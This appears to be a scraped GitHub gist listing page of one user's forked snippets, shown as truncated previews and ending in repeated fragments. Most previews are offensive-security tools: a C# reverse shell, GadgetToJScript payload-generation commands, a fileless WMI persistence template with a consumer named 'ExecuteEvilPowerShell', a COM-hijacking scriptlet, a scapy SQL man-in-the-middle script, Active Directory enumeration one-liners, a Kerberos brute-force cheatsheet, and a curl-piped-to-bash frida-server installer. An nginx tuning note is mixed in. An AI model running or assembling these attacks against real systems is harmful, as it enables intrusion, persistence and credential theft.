jjsdub556 / frida-server-ios-all-interfaces.sh

Created August 18, 2021 05:29 — forked from interference-security/frida-server-ios-all-interfaces.sh

Run iOS frida-server on all interfaces

	# Install curl using Cydia before using the next command
	# /bin/bash -c "$(curl -fsSL https://gist.github.com/interference-security/68faea1f4a445a7814cc2518a7d1c416/raw/c715dbc30397762239b3bf2d76c60859a5c83625/frida-server-ios-all-interfaces.sh)"
	launchctl unload -w /Library/LaunchDaemons/re.frida.server.plist
	cat >/Library/LaunchDaemons/re.frida.server.plist <<EOL
	<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
	<plist version="1.0">
	<dict>
	<key>Label</key>
	<string>re.frida.server</string>

jjsdub556 / GadgetToJScript Command Reference

Created October 22, 2020 08:54 — forked from 3xpl01tc0d3r/GadgetToJScript Command Reference

GadgetToJScript Code

	# Command to generate HTA code using GadgetsToJScript
	GadgetToJScript.exe -w hta

	# Command to generate JS code using GadgetsToJScript
	GadgetToJScript.exe -w js

	# Command to generate VBS code using GadgetsToJScript
	GadgetToJScript.exe -w vbs

	# Command to generate VBA code using GadgetsToJScript

jjsdub556 / ReverseShell.cs

Created October 21, 2020 18:16 — forked from mrjamiebowman/ReverseShell.cs

C# Simple Reverse Shell Code

	namespace RevShell
	{
	using System;
	using System.Diagnostics;
	using System.IO;
	using System.Net.Sockets;
	using System.Runtime.InteropServices;
	using System.Text;

	namespace ConnectBack

jjsdub556 / 1) Active Directory One Liners

Created October 20, 2020 10:43 — forked from w00tc/1) Active Directory One Liners

Some Pentesting Notes

	Retrieves all of the trust relationships for this domain - Does not Grab Forest Trusts

	([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()


	Grab Forest Trusts.

	([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()

jjsdub556 / nginx-tuning.md

Created September 25, 2020 13:47 — forked from denji/nginx-tuning.md

NGINX tuning for best performance

Moved to git repository: https://github.com/denji/nginx-tuning

NGINX Tuning For Best Performance

For this configuration you can use web server you like, i decided, because i work mostly with it to use nginx.

Generally, properly configured nginx can handle up to 400K to 500K requests per second (clustered), most what i saw is 50K to 80K (non-clustered) requests per second and 30% CPU load, course, this was 2 x Intel Xeon with HyperThreading enabled, but it can work without problem on slower machines.

You must understand that this config is used in testing environment and not in production so you will need to find a way to implement most of those features best possible for your servers.

jjsdub556 / sqlmitm.py

Created August 26, 2020 08:25 — forked from anonymous/sqlmitm.py

	from scapy.all import *
	import unicodedata
	import sys, getopt
	import time, datetime
	import argparse
	import socket
	import fcntl
	import struct
	import threading

jjsdub556 / dump_socket.sh

Created August 21, 2020 06:58 — forked from jhass/dump_socket.sh

Capture unix socket to pcap file with socat and tshark

	#!/bin/bash

	# Parameters
	socket="/run/foo.sock"
	dump="/tmp/capture.pcap"

	# Extract repetition
	port=9876
	source_socket="$(dirname "${socket}")/$(basename "${socket}").orig"

jjsdub556 / AtomicRedTeam.sct

Created August 16, 2020 05:52 — forked from totoroha/AtomicRedTeam.sct

Sample COM Hijacking Atomic Red Team Test

	<?XML version="1.0"?>
	<scriptlet>

	<registration
	description="AtomicRedTeam"
	progid="AtomicRedTeam"
	version="1.00"
	classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
	remotable="true"
	>

jjsdub556 / WMI_persistence_template.ps1

Created August 16, 2020 05:39

Fileless WMI persistence payload template (CommandlineEventConsumer, __IntervalTimerInstruction trigger, w/ registry payload storage)

	# Step #1 - Prep payload
	$Hive = 'HKLM'
	$PayloadKey = 'SOFTWARE\PayloadKey'
	$PayloadValue = 'PayloadValue'
	$TimerName = 'PayloadTrigger'
	$EventFilterName = 'TimerTrigger'
	$EventConsumerName = 'ExecuteEvilPowerShell'

	switch ($Hive) {
	'HKLM' { $HiveVal = [UInt32] 2147483650 }

jjsdub556 / kerberos_attacks_cheatsheet.md

Created August 8, 2020 15:15 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md

A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

Trinidad jjsdub556

Moved to git repository: https://github.com/denji/nginx-tuning

NGINX Tuning For Best Performance

Kerberos cheatsheet

Bruteforcing